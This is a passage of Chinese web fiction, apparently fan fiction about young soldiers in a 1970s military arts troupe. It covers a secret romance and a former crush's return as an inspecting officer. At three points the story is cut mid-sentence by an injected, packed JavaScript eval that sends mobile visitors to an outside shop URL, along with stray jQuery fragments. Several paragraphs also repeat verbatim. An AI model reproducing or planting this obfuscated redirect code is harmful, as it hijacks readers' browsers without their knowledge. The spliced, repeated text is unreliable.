兆悦不再说话,只是踮起脚尖,双臂轻轻一抬,软软地搂住了他的脖子,微微用力,带着点撒娇的力道示意他低下头来。
陈灿瞬间心尖一麻,呼吸都轻了几分。
他顺从地弯下腰,慢慢俯下身,额头几乎要碰到她的,鼻尖轻轻擦过她的脸颊,温热的呼吸缠在一起。
他声音哑得厉害:“怎么了?”
下一秒,她微微张口,带着撩拨的力道轻轻吮吸上去,舌尖若有似无地扫过他的肌肤,一只手还软软地摸着他的后颈,指尖轻轻摩挲。
陈灿整个人猛地一僵,浑身血液像是瞬间冲上头顶,耳尖“唰”地烧得通红。
他哪里见过这种模式,原本还想反撩的话全堵在了喉咙里,呼吸骤然乱了节奏,揽着她腰的手猛地收紧,把人紧紧贴在怀里,连脊背都绷成了一条直线。
喉间不受控制地溢出一声低哑的闷哼,又轻又颤,带着从未有过的慌乱与心动。
“悦悦……”
他声音哑得不成样子,浑身都在发烫,想躲又舍不得,只能任由她在自己颈间留下暧昧的印记,指尖微微发颤,连眼神都失了焦。
温热的呼吸还洒在他泛红的颈侧,兆悦的嘴唇才刚离开一两厘米,舌尖轻轻舔了下自己的唇角。
眼底盛着得逞的笑意,故意贴着他发烫的皮肤,轻声追问:“你刚才……喊我什么?”
陈灿整个人还僵在刚才那阵猝不及防的酥麻里,耳尖红得要滴血,喉结狠狠滚了一下。
他从前私下里只敢叫你,人前规规矩矩喊她兆悦,从来没这样失控地漏出过那样亲昵的称呼。
此刻被她这样贴着、盯着、逼问着,脑子一片空白,连呼吸都乱了章法。
他闭了闭眼,再睁开时,眼底全是藏不住的慌乱和滚烫,声音哑得几乎听不清:“……悦悦。”
兆悦抵着他颈窝,唇瓣若有若无擦过他发烫的皮肤:“你平时不都直接喊我兆悦的嘛?今天怎么啦,陈灿?”
她明明在笑,气息却缠得他心神不宁。
陈灿整个人都绷着,耳尖红得要滴血,喉结狠狠滚了一圈。
他长这么大,从来没被人这样步步紧逼、撩得手足无措。
他低头,视线撞进她亮晶晶带笑的眼里,呼吸乱得一塌糊涂,手还紧紧扣着她的腰,舍不得放。
声音哑得发颤,带着点破罐破摔的认真:“平时……平时不敢。”
兆悦眼底笑意更深,刚要再逗他,陈灿忽然低下头,额头抵着她的额头,气息滚烫:“现在……不想再只叫你兆悦了。”
他顿了顿,几乎是贴着她的唇,轻轻喊了一声:“悦悦。”
这一声,又低又沉,带着藏了太久的情绪,一下子砸进兆悦心里。
兆悦故意把下巴抵在他肩头,声音软乎乎裹着点委屈,轻轻蹭着他发烫的皮肤:“哎呀~以前都没听过你这么喊我,都是凶巴巴的~”
她尾音微微上翘,明明是装的,却甜得陈灿心尖发颤。
陈灿喉结狠狠滚了一下,整个人更僵了,耳尖红得快要滴血。
被她这么一委屈,他瞬间慌了神。
手臂不自觉收得更紧,把人稳稳圈在怀里,低头时气息全洒在她发顶,声音哑得不成调,又急又软:“我没有……我不是凶。”
他顿了顿,指尖都在发烫,笨拙又认真地解释:“我只是……不知道怎么跟你说话。”
兆悦憋着笑,还想再逗,就听他贴着她耳朵,又轻又慌地补了一句:“以后不凶了……只喊你悦悦,好不好?”
兆悦被他这一声“悦悦”喊得耳朵尖都发麻,心里软成一滩水,刚才那点故意逗他的坏劲儿瞬间散了,反倒先害羞起来。
她脸颊发烫,下意识就想从他怀里挣开,往后缩了缩要跑。
陈灿哪里肯放,手臂一收,直接把人牢牢圈在怀里,力道带着点慌,又带着点不容挣脱的认真。
他低头,鼻尖蹭过她还泛红的耳廓,声音哑得发颤,却带着点难得的强势:“不准跑。”
兆悦心跳得飞快,埋在他胸口不敢抬头,只听见他又轻轻喊了一遍,低低的,软软的,全是克制不住的温柔:“悦悦。”
这一声喊得她浑身都软了,哪儿还有力气跑。
另一边,宿舍里还静悄悄的。
郝淑雯刚睡醒,迷迷糊糊睁眼看了看对面上铺,空荡荡的,人早就不在了。
她懒得抬身子,哑着嗓子问旁边还没睡的林丁丁:“兆悦呢?”
林丁丁翻了个身,声音轻飘飘的:“好像说是去练琴了。”
“真努力。”郝淑雯随口应了一声,半点没多想,困意又涌上来,裹紧被子翻个身,很快又睡了过去。
可林丁丁没信。
她支着胳膊,眼底藏着点心知肚明的笑,心里暗暗嘀咕:练琴?谁信啊。
那两人那点心思,她早看出来了,哪里是去练琴,指不定是跟闫展博待在一块儿呢。
一想到闫展博那张冷冰冰、不爱说话的脸,再想想兆悦平时那副不爱凑热闹的性子,两个冰块凑一块儿,林丁丁忍不住在被子里偷偷嗤笑一声,只觉得又奇怪又好笑。
她对闫展博那种闷葫芦冰块可没半点兴趣,懒得去触霉头,更懒得去戳破,只当是又一桩藏在文工团角落里的趣事。
这边还浸在浓得化不开的甜里,两人交颈相拥,呼吸缠在一起,连空气都是暖的。
兆悦靠在陈灿怀里,鼻尖蹭着他颈间熟悉的温度,听着他沉稳有力的心跳,明明甜得像整个人泡在蜜罐里,眼眶却忽然一热。
一滴泪毫无预兆地砸在他锁骨上,滚烫。
陈灿瞬间僵住,慌忙捧起她的脸,指腹慌乱地擦去她的泪,声音都慌了,带着紧绷的疼:“怎么了?是不是我弄疼你了?”
兆悦摇摇头,把脸埋回他怀里,死死攥着他的衣服,眼泪越落越凶,却一声不吭。
她不能说。
不能说她怕这一切只是一场太真实的梦,怕一睁眼,眼前的人就没了,怕这满心的欢喜、这滚烫的拥抱、这一声一声的“悦悦”,全都会碎掉。
怕梦醒之后,她再也见不到陈灿。
陈灿不懂她突如其来的难过,只当是她受了委屈,心揪得发紧,只能更用力地抱住她,一下一下轻轻拍着她的背,像哄易碎的宝贝,低声反复哄着:“我在呢,悦悦,我在……不走,哪儿都不走。”
他不知道她在怕什么,只知道要把她牢牢抱住,抱到她不再哭为止。
怀里的人轻轻发抖,眼泪浸湿他的衣襟,烫得他心口发酸。
兆悦闭着眼,在他怀里无声地哭,心里只有一个念头——再多抱一会儿,再多甜一会儿,就算是梦,她也想多贪这片刻。
兆悦埋在他怀里,眼泪还在无声地落,心里却翻江倒海。
她太清楚自己这性子了。现实里是这样,在大院那十几年也是这样,在杭春明、刘予、杨铮他们跟前,总是一会儿哭一会儿笑,情绪来得又急又猛,闹过不少小脾气。
可偏偏,一直都有人捧着她、让着她、无条件包容她。
如今来了文工团,她明明已经是二十岁的人了,可跟着这群正值花季雨季的男孩女孩待在一起,心境竟又倒退回了十七八岁——敏感、柔软、一点风吹草动就患得患失。
就像现在。
明明被他抱在怀里,明明甜得像做梦,她却偏偏要掉眼泪,偏偏要揪着那点虚无的恐惧不放。
她悄悄收紧手指,攥着他的衣襟,心里又慌又涩:陈灿会不会……觉得她太无理取闹了?
会不会觉得她情绪太多、太不稳定、太让人累了?
他以前见的她,是安安静静练琴、话不多、性子淡的兆悦,不是现在这样抱着抱着就突然哭、又敏感又脆弱的样子。
这么一想,她更不敢出声,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309134|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把脸埋得更深,连呼吸都放轻,怕他一低头,就看穿她这颗又胆小又贪心的心。
陈灿只怀中人轻轻发颤,连哭都哭得安安静静,像只受了惊又不敢吭声的小猫。
他什么也没问,只是手臂一圈又一圈收紧,把她更紧地贴在自己心口,下巴轻轻抵在她发顶,慢而轻地蹭了蹭。
他不会说什么漂亮话,只一遍又一遍,用最沉、最稳的声音,贴着她的头发低声呢喃:“不怕……我在。”
“怎么样都好。”
“我都受着。”
兆悦把脸埋得更低,死死抵在他肩头,不肯抬头。
她不想让他看见自己满脸泪痕、眼眶通红的狼狈模样,明明刚才还在笑着逗他,转眼就哭得一塌糊涂。
她心里比谁都清楚,自己对陈灿的感情、对他的依赖,早就深到超出预料。
她一向都是这样——走不进她眼里的人,再怎么讨好靠近,都没用;可一旦谁真的住进她心里,她就会看得极重、极深。
陈灿就是那个,一脚踩进她心底,再也拔不出去的人。
陈灿怀中人儿微微发颤,连哭都安安静静,他怎么会不明白她的小心思。
他没有强行掰她的脸,只是轻轻抬手,盖住她的后脑勺,温柔却坚定地把她更往自己怀里按了按。
“不看。”他声音低低的,哑得温柔,“我不看你脸,就抱着你。”
他掌心温热,稳稳贴在她的发间,一下一下,极轻地顺着她的头发。“你怎么样都好。”
“哭也没关系,闹也没关系,躲着也没关系。”
他顿了顿,胸腔震动,把最真心的话,一句句揉进她耳里:“我只要你在我身边就行。”
兆悦深深吸了一口气,将陈灿身上的气息尽数揽进鼻尖。
那是一种很干净的味道,混着少年人独有的体温、阳光晒过的浅淡暖意,还有一点若有若无的皂角香。
她在心里翻遍了所有能想到的形容词,温柔、清冽、安心、滚烫……却没有一个,能真正描画出这份独属于他的气息。
可越是沉溺,她心底的隐忧就越是像藤蔓一样疯狂缠绕,勒得她心口发闷。
她对陈灿的感情越深,那些藏在记忆深处、带着上帝视角的细节,就越是清晰地浮现在眼前,挥之不去。
她比谁都清楚,这个年代,1979、1980年一过,文工团就要散了。
她记得清清楚楚,分队长催着大家去排练,陈灿和几个男兵在外面漫不经心地聊着,那时他已经烫了时兴的头发,语气里全是看透一切的淡然——还排什么,文工团都要解散了,这是他副司令的父亲亲口告诉他的。
她也记得,他出门被撞掉牙,萧穗子心急火燎赶去医院,却听见旁边男兵打趣:陈灿,这下你也不用闹着转业了。
原来从始至终,陈灿都是那样理性的人。
理性到清醒地看着文工团的兴衰,理性到不被这里的青春、热闹、情谊牵绊,理性到在朦胧的情绪里,最终选择了对自己事业、对未来最有帮助的郝淑雯。
他从来不是会被感情冲昏头脑的人。
这些画面一桩桩、一件件,在兆悦脑海里反复翻涌。
此刻怀里的温度有多真实,她的患得患失就有多刺骨。
她忍不住发抖地想——眼前的温柔是真的,他喊她悦悦是真的,此刻紧紧的拥抱也是真的。
可会不会有一天,他也会像电影里那样,为了前途、为了现实,冷静而决绝地甩开她,做出最理性的选择?
她已经把心完完整整地掏给了他,已经陷得深到无法自拔。
如果真的有那一天,她该怎么办?
这份突如其来的恐慌,让她刚刚止住的眼泪,又一次无声地浸湿了陈灿的衣襟。
她不敢说,不能说,只能把所有的不安,全都死死咽进心里,只化作怀里更紧一点、再紧一点的依偎。
53. 暗恋
兆悦深深吸了一口气,将陈灿身上的气息尽数揽进鼻尖。
那是一种很干净的味道,混着少年人独有的体温、阳光晒过的浅淡暖意,还有一点若有若无的皂角香。
她在心里翻遍了所有能想到的形容词,温柔、清冽、安心、滚烫……却没有一个,能真正描画出这份独属于他的气息。
可越是沉溺,她心底的隐忧就越是像藤蔓一样疯狂缠绕,勒得她心口发闷。
她对陈灿的感情越深,那些藏在记忆深处、带着上帝视角的细节,就越是清晰地浮现在眼前,挥之不去。
她比谁都清楚,这个年代,1979、1980年一过,文工团就要散了。
她记得清清楚楚,分队长催着大家去排练,陈灿和几个男兵在外面漫不经心地聊着,那时他已经烫了时兴的头发,语气里全是看透一切的淡然——还排什么,文工团都要解散了,这是他副司令的父亲亲口告诉他的。
她也记得,他出门被撞掉牙,萧穗子心急火燎赶去医院,却听见旁边男兵打趣:陈灿,这下你也不用闹着转业了。
原来从始至终,陈灿都是那样理性的人。
理性到清醒地看着文工团的兴衰,理性到不被这里的青春、热闹、情谊牵绊,理性到在朦胧的情绪里,最终选择了对自己事业、对未来最有帮助的郝淑雯。
他从来不是会被感情冲昏头脑的人。
这些画面一桩桩、一件件,在兆悦脑海里反复翻涌。
此刻怀里的温度有多真实,她的患得患失就有多刺骨。
她忍不住发抖地想——眼前的温柔是真的,他喊她悦悦是真的,此刻紧紧的拥抱也是真的。
可会不会有一天,他也会像电影里那样,为了前途、为了现实,冷静而决绝地甩开她,做出最理性的选择?
她已经把心完完整整地掏给了他,已经陷得深到无法自拔。
如果真的有那一天,她该怎么办?
这份突如其来的恐慌,让她刚刚止住的眼泪,又一次无声地浸湿了陈灿的衣襟。
她不敢说,不能说,只能把所有的不安,全都死死咽进心里,只化作怀里更紧一点、再紧一点的依偎。
陈灿怀中人儿的身子又轻轻发颤,他只当是自己之前答应给郝淑雯带红糖水的事,让她揪了心、受了委屈,半点没往别处想。
他顿时慌了手脚,指尖笨拙地顺着她的后背,声音又软又急,带着全然无措的哄劝:“是不是还在气那杯红糖水?我错了悦悦,我就是顺手应一句。”
他收紧手臂,把她牢牢护在怀里,下巴抵着她的发顶,语气认真得近乎发誓:“我以后不随便应别人的事,眼里心里就只有你一个,好不好?”
兆悦埋在他肩头,听着他这番全然误会的解释,心口又酸又涩,眼泪落得更凶了。
他什么都不知道,不知道她藏着无人能说的前世记忆,不知道他未来的选择,不知道她此刻的恐惧根本不是一杯红糖水、一句随口的答应。
她怕的从不是郝淑雯,不是眼前的小事,是他刻在骨子里的理性,是注定会到来的离别,是他终有一天会为了前途,松开她的手。
可她不能说,只能死死攥着他的衣料,把所有的不安都咽进心里,借着他误会的由头,把所有的委屈都哭成一场小小的吃醋。
陈灿只当她是委屈极了,心疼得不行,一遍遍低声哄着,保证、道歉、许诺,把所有能给的安全感都掏出来,却不知道,他怀里的姑娘,怕的是一场他永远不会知晓的、来自未来的分离。
几分钟后,兆悦慢慢平复了情绪,轻轻从他胸膛抬起头。
眼眶还是红的,脸上泪痕已干,只留下一点点浅浅的痕迹。
夜色已经深了,再待下去迟早要被人发现。
两人无声对视一眼,眼底都藏着不舍,却还是默契地点了点头。
陈灿轻轻替她理了理微乱的发梢,指尖擦过她的脸颊,声音压得极低:“路上小心,回去好好睡。”
兆悦轻轻“嗯”了一声,没再多说,只深深看了他一眼,转身悄悄消失在夜色里。
等她轻手轻脚摸回宿舍,屋里一片安静,只有浅浅的呼吸声。
她尽量不发出一点声响,摸索着爬上自己的铺位。
下铺的林丁丁其实早醒了,一直竖着耳朵听动静。
听见兆悦动作轻快、脚步安稳,一点都没有失落别扭的样子,她在被子里闭着眼,心里暗暗一笑:
看来这俩人,进度还挺不错,最起码是相处得融洽得很。
她没动,依旧装睡,只当自己什么都不知道、什么都没听见。第二天一早,排练场已经热火朝天。
兆悦踩着最后一秒卡点进门,刚站定,就看见乐队那边杭春明一个劲地朝她挤眉弄眼,表情丰富得不行,看得她一头雾水。
舞蹈队和乐队隔得不远,可排练已经开始,两人根本说不上话。
就连一向沉稳的杨铮,都不动声色地回头,飞快给了她一个眼神,又立刻转了回去。
这一切,都落进了陈灿眼里。
他对杨铮,一直藏着点连自己都不愿承认的在意——说是隐形情敌,也不为过。
杨铮这人,有实力、有原则,脾气和气,跟谁都处得来,合群又稳重。
可陈灿就是隐隐觉得,他对兆悦不一样。
说不上是明确的喜欢,可那点青梅竹马长大的情分,是他怎么都比不过的。
上次杭春明带家乡特产,两人在外面单独聊了那么久;拉练那天夜里,黑漆漆的操场上,他们聊金星、聊那些旁人插不进去的话,那种默契,是朝夕相处才磨得出来的。
可杨铮又克制得可怕。
从不多说一句多余的,从不格外照顾,只是比旁人,多那么一点点熟稔、一点点心照不宣的关心。
淡得像没有,却又精准地戳在陈灿心上。
此刻场上,兆悦、杭春明、杨铮之间那点只有他们自己懂的眉眼官司,一来一回,陈灿全看在眼里,心里莫名沉了沉。
他拧着眉,指尖无意识地敲了敲乐器,半天没缓过神。
他搞不懂——他们到底,在打什么哑谜。
原来是司令部军务处参谋要来查军容军纪。杭春明和杨铮今天来得早,路上正好撞见政委和那位参谋说话。
两人交换了个眼神——这位参谋,对他们几个来说,可是大有故事的人。
这事,得退回到1972、1973年。
那时兆悦他们刚进青春期,军区大院里从广东搬来一户人家。
家里的儿子叫齐威,约莫十七岁,已经入伍,一身正气,站在那儿就透着稳重规矩。院里的半大孩子都有点怕他,不敢随便搭话,唯独兆悦不怕。
兆悦第一次见到齐威,是个安静的午后。
她坐在老槐树下的木椅上,等杭春明和杨铮。远远地,少年穿着笔挺的军装走来,身姿挺拔,眉眼清润,一身清风霁月。
只一眼,兆悦心口猛地一撞,差点从椅子上跳起来。
太像了。
像极了她现实里十五岁那年,藏在心底整整两年的暗恋对象。
她向来恋爱热度只有两个月,唯独那一段,干净、沉默、没说出口,最后看着那人高考夺魁去了北京,成了她心里一道轻轻的疤。
也正因如此,后来她跟萧穗子谈心,才那么懂那种说不出口的疼——暗恋,是一个人无声的兵荒马乱。
她从没想过,还能再遇见一个这么像的人。
连年纪都一模一样:她十五,他十七。连气质、做派、说话的分寸,都像从一个模子里刻出来的。
兆悦心里那点沉寂多年的心动,一下子活了。
她舍不得放过。
第一次搭话,是她故意的。
那天傍晚,她抱着一摞刚洗好的旧书,在他必经的路上“不小心”摔了一跤,书本散了一地。
齐威脚步一顿,走过来,弯腰帮她捡。
手指碰到书页,动作缓缓而稳重。
“小心点。”
他声音不高,语气规矩,没有多余情绪。
兆悦心跳得厉害,面上却稳稳抬头,笑得大方:“谢谢……齐威哥。”
这一声“哥”,她喊得自然,他只是淡淡“嗯”了一声,捡完最后一本,递到她手里,便转身走了。
没有多问,没有多留,克制得像一堵干净的墙。
可兆悦知道,他记住她了。
从那以后,她开始有意无意地出现在他眼前。
他训练完回宿舍,她就抱着饭盒去食堂;他在灯下看文件,她就坐在不远处的石桌上看书;他去取信,她也刚好去寄信。
她不缠人,不闹,只是安安静静地出现。
他也从不赶她,偶尔遇见,会点一下头,说一句:“又来了。”
“看书呢。”
语气平淡,却带着一点只有她能听懂的默许。
真正走近,是从写信开始的。
大院里流行互相写纸条、写信,不算逾矩,又能说些不方便当面说的话。
兆悦先动笔。信写得规规矩矩,不越界,不撒娇,只说些日常:今天训练累不累,最近看了什么书,院里的梧桐叶落了。
末尾永远是:兆悦 敬上
齐威回得慢,却每封都回。
字工整有力,话不多,句句稳妥:训练尚可,勿念。
书我看过,写得不错。
天冷,注意加衣。
称呼永远是:兆悦同志。
她喊他“齐威哥”,他叫她“兆悦同志”。
一个亲近,一个克制;一个热烈,一个收敛。
偏偏这样,最磨人。
慢慢地,信里的内容多了起来。
她会写自己偷偷练舞蹈的笨拙,会写对未来的一点迷茫;他会写部队里的纪律,写做人要踏实,写男儿要立事。
他从不说软话,可字里行间,全是不动声色的关照。
有人在背后起哄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309135|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,说齐威对兆悦不一样。
他听见了,也不解释,只淡淡瞥一眼,脸色依旧端正。
只有兆悦知道,那天之后,他的信里,多了一句:别听旁人乱讲,我们清白相处,心里有数。
她看着那句话,偷偷笑了一晚上。
有数——他心里,是有数的。
暧昧是在一个个无人注意的角落里长出来的。
傍晚训练结束,他会在路口等她一会儿,陪她走一段回宿舍的路,不长,就几分钟。
不说话,不牵手,只是并肩走。
夕阳把两人的影子拉得很长,安安静静,比任何情话都动人。
她生病发烧,躺在床上昏昏沉沉。
他听说了,没有大张旗鼓来看,只是托杭春明带了一包退烧药和一张小纸条,上面只有八个字:按时吃药,好好休息。
没有署名,她却一眼认出是他的字。
她练舞崴了脚,坐在台阶上揉脚踝。
他路过,停下,蹲下来,看了一眼她的伤处,眉头微不可察地皱了一下。
“别逞强。”
他伸手,轻轻碰了一下她肿起来的地方,动作轻得像怕碰碎她。
那是他第一次,对她有这么近的触碰。
兆悦心脏狂跳,却硬是绷住,只轻轻点头:“我知道,齐威哥。”
她从来不哭,不闹,不露出半点委屈撒娇的样子。
这是她对齐威的体面,也或许是对自己曾经那段无疾而终的暗恋的珍重。
他看着她强装镇定的模样,眼底掠过一丝她看不懂的情绪,很快又恢复平静,站起身:“我送你回去。”
那一路,他走得很慢,配合她一瘸一拐的步子。
风很轻,天很蓝,她心里甜得发颤,却一句话都没多说。
这一切,都被不远处的杨铮看在眼里。
他站在树影里,攥紧了手。
从兆悦第一次故意“摔书”,到她每一次等齐威,到她收到信时偷偷笑的样子,他全都看在眼里。
他比谁都早明白,兆悦的心,已经落在齐威身上了。
那个无人的角落,杨铮轻轻闭上眼,在心里对自己说:
——就这样吧,藏住,一辈子都藏住。
只要她开心就好。
可青春里的故事,大多没有好结局。
齐威和她克制又暧昧地相处了一年多。
谁都没说破“喜欢”两个字,可谁都明白,彼此是不一样的。
变故来得突然。
部队调动,齐威要走了。
走之前那几天,他反常地沉默,见到她,也只是深深看一眼,不说一句话。
兆悦心里慌,却依旧维持着表面的平静。
直到临走前一天晚上,他才托人给她送来了一封信。
信很薄,字很用力,一笔一划,都力透纸背。
兆悦同志:
见字如面。
军令已下,我明日便随部队离开。此去不知归期,唯愿你在大院一切安好,认真训练,好好生活,勿以我为念。
我心里,是不同的。
只是我身在部队,前途未卜,不敢轻易许诺,更不敢耽误女子的大好年华。
今日一别,且等我。
等我在部队站稳脚跟,等我建功立业,等我能堂堂正正回家,我会亲自上门,跟家里说明,跟你说明。
在此之前,照顾好自己。
勿念。
齐威 匆笔
兆悦捏着那封信,指节发白。
到如今,连称呼都还是“兆悦同志”,比任何情话都让人心碎。
他到最后,都守着他的规矩、他的体面、他的分寸。
连告别,都这么冷静。
她又气又伤心。
气他到走才说一句等他,气他把所有心事都压在心里,连一句当面的“我喜欢你”都不给她;
伤心的是,这一走,不知何时再见,她甚至不知道,自己能不能等到那一天。
偏偏这时,文工团来大院选人。
刘予不愿受家里安排,决心提前入伍离开。
分别在即,几个从小一起长大的朋友,第一次凑在一起,偷偷喝了酒。
酒意一上来,兆悦再也绷不住,趴在桌上痛哭失声。
她不知道自己是在哭现实里那段无疾而终的初恋,还是在哭齐威的不告而别,或是哭自己明明那么喜欢,却连一场痛快的宣泄都不敢有。
她哭得撕心裂肺,却始终没说一句怨齐威的话。
这是她最后的体面。
而远走的齐威,什么都不知道。
他不知道,他的一句“等我”,成了她心里一根轻轻的刺;他不知道,她有多难过,又有多克制;他更不知道,在那之后,她的人生里,会出现一个叫陈灿的人。
只留下一段,像极了她现实里那场暗恋一样——遗憾。
这样的故事,在兆悦心里再次无疾而终。
54. 故人
齐威要来的消息,像颗小石子投进平静的水面,先在杭春明和杨铮心里炸出一圈圈波澜。
杨铮脸色淡了些,指尖无意识地收紧,眼神沉了沉。
当年那段事,他是全程看在眼里的人——兆悦的心动、失落、痛哭,他比谁都清楚。
杭春明心思最活络,脑子转得飞快。
军务处参谋那么多,偏偏是齐威,偏偏赶在这个时候来查军容军纪,哪有这么巧的事?
他几乎立刻就断定:齐威这趟,十有八九,是冲着兆悦来的。
一想到兆悦当年对着那封信偷偷红过的眼眶,再想想现在眼睛天天黏在兆悦身上、占有欲还不小的陈灿,杭春明简直替兆悦捏了把冷汗。
旧爱重逢,新欢在侧,还是在这么多人眼皮子底下的文工团……这戏码,光是想想都让人闹心。
他正琢磨着,怎么找个空隙先偷偷提醒兆悦一声,让她有点心理准备,别等会儿一看见人,情绪当场绷不住。
可他还没来得及挪步子、找机会,第一次排练休息的哨声刚落,排练场的门口,就传来了一阵轻微的动静。
政委陪着一道挺拔的身影走了进来。
一身规整的军官制服,身姿端正,眉目清肃,气质沉稳如旧。
正是齐威。
兆悦正跟着乐队的安排,专心练着这段时间文工团排的新曲子,指尖都带着力道。
忽然门口一阵动静,她下意识随意抬头望了一眼。
只一眼。
时间像被猛地掐断。
空气静得可怕。
是他。
真的是他。
齐威就站在那里,一身笔挺的军官制服,身姿依旧挺拔,眉眼清肃,神情沉稳,和两年前一模一样,连那股清风霁月的气质,都分毫未变。
也依旧,像极了她现实里,那个记了好多年的少年。
兆悦的心脏骤然一缩,像是被一只无形的手狠狠攥住,连呼吸都顿了半拍。
情绪几乎要冲破胸口——惊慌、酸涩以及无奈,无数种滋味一瞬间涌上来,几乎要将她掀翻。
可这么多年,在这件事上,她早已经刻进骨子里的教条,不能失态,不能慌张,不能让人看出半点异样。
更何况,这里是文工团,是排练场,无数双眼睛都在看着。
她就那样站在原地,脸上没有一丝一毫多余的反应。
没有惊讶,没有颤抖,没有失态。
整个人只是彻底呆愣住,像一尊被定住的影子。
只有她自己知道,心底早已翻江倒海。齐威的目光,几乎是进门的刹那,就第一时间落在了兆悦身上。
旁人都在紧张正襟危坐,只有他,视线穿过人群,稳稳锁住那道熟悉的身影。
这件事,根本不是什么巧合。
等齐威在部队熬出头、立了功、有了底气,终于能兑现当年那封信里的承诺,风尘仆仆赶回老院子时,才发现——人去楼空。
兆悦、杭春明、杨铮……那几个活跃在大院里的少年,全都不在了。
一打听才知道,他们在他离开没多久,就被选去了文工团。
那一刻,他心里又空又涩。
他没有资格怪她。
当年是他不声不响离开,是他只留下一封短信,让她等,却没给过一句准信、一个归期。
是他先放手,是他先缺席。
所以这一路,他没抱怨,没迟疑,托了关系、打了报告,硬生生从原部队一路调回这边。
别人以为他是升了参谋、公事公办,只有他自己清楚——他回来,从来都是为了一个人。
此刻站在排练场里,他看着眼前呆愣住的兆悦,
两年时光,她长开了些,眉眼依旧,还是当年那个可爱又倔强的姑娘。
齐威眼底极轻地动了一下,快得无人察觉。
只那一眼,便已说明一切。
他回来了。
是冲着她来的。
兆悦的手指僵在琴键上,连最后一点余音都慢慢消散,才慢吞吞地把手垂到琴凳边,指尖无意识地揪紧了外套边角。
她这时候的心乱,早就不是当年那种小鹿乱撞的心动了。
心底深处或许还飘着一丝说不清道不明的余绪——连她自己都分不清,那点微弱的颤动,是怀念现实里那个少年,还是对着眼前这个齐威残留的一点旧影。
可那点东西太轻、太淡,几乎可以忽略不计。
她现在满脑子只有一个念头:他怎么来了?
偏偏是这个时候。
不用猜,兆悦也敢肯定,齐威这一趟,绝对是冲着她来的。
不然哪有这么巧的事,军务处那么多人,偏偏是他。
可他来干什么?
是怪她没等下去、悄无声息来了文工团,来找她算账?
还是真像当年信里写的那样,一路追过来,要兑现那句“等我”?
不管是哪一种,现在都已经不合适了,一切都晚了。
她早就不是当年那个守着一封信偷偷红眼眶的小姑娘了。
她现在有陈灿。
虽然没公开,可私底下,他们早已认定了彼此,是真真切切在一起的男女朋友。
旧人在最不该出现的时候出现,像一块石头,狠狠砸在她本就不算平静的心上。
政委一声号令,全场立刻安静下来,所有人挺胸抬头,等着军务处参谋检查。
齐威跟在政委身边,神情严肃,一丝不苟,完全是公事公办的模样。
他戴着白手套,从墙边到窗台,从道具架到座椅,一处处仔细查看,指尖轻轻抚过,低头看有没有灰尘,冷静、严谨,看不出半分私情。
一圈检查下来,他脚步不急不缓,最终,一步步朝着钢琴的方向走了过来。
兆悦坐在琴凳上,指尖攥得更紧,连呼吸都不敢太重。
他每走近一步,她心里就沉一下。
所有人的目光都若有若无地飘过来,兆悦垂着眼,一动不动,只死死守住脸上那点仅剩的平静。
不能慌,不能乱,不能让人看出半点不对劲。
齐威戴着白手套的指尖轻轻拂过钢琴漆面,收回时看了一眼,语气平淡得像在评价刚才卓玛她们乱摆的鞋:“钢琴上有些浮灰。”
就这一句,再无其他。
脸上半点波澜都没有,公事公办,挑不出半分私情。
可这话落在兆悦、杭春明、杨铮耳朵里,却像心被猛地提上半空,又轻轻落回原处——过山车似的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309136|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一紧一松,后背都快浸出薄汗。
齐威转身回去和政委低声交流,只淡淡一句:“大体上没什么问题。”
但谁都听得懂,军容军纪检查,从来不是一天就能结束的。
这,才刚刚开始。
这天训练散得早,分队长把全队人集合在一起,舞蹈队、乐队站成一片,开小会强调纪律、作风、卫生。
兆悦站在前面,杭春明就缩在她身后。
四周都是严肃的叮嘱声,他压低嗓子,几乎用气声往她耳边钻:“悦儿姐……怎么办啊?”
兆悦背脊绷得笔直,没回头,没应声,连肩膀都没晃一下。
杭春明瞧她这模样,心里咯噔一下。
也明白了——连兆悦自己,都没法子了。
对方这哪里是来检查的,分明是来势汹汹。
紧急任务来得猝不及防,军容军纪检查被临时叫停。文工团全员整装,奔赴隔壁小镇做慰问演出。
出发时依旧是老规矩,女兵一车,男兵一车。
车行至山路,颠簸得厉害,中途休整再发车,大家也就不拘着了,座位随意调换,混坐在一块。
何小萍眼疾手快,车刚停稳就抢着坐到了兆悦身边,挨着她的胳膊,像找到了依靠。
杭春明心里揣着事,怕被别人抢了先,也赶紧挤过来,挤在两人旁边,把三人的位置挤得满满当当。
杨铮放心不下,干脆坐在兆悦对面,视线一刻不离地锁着她。
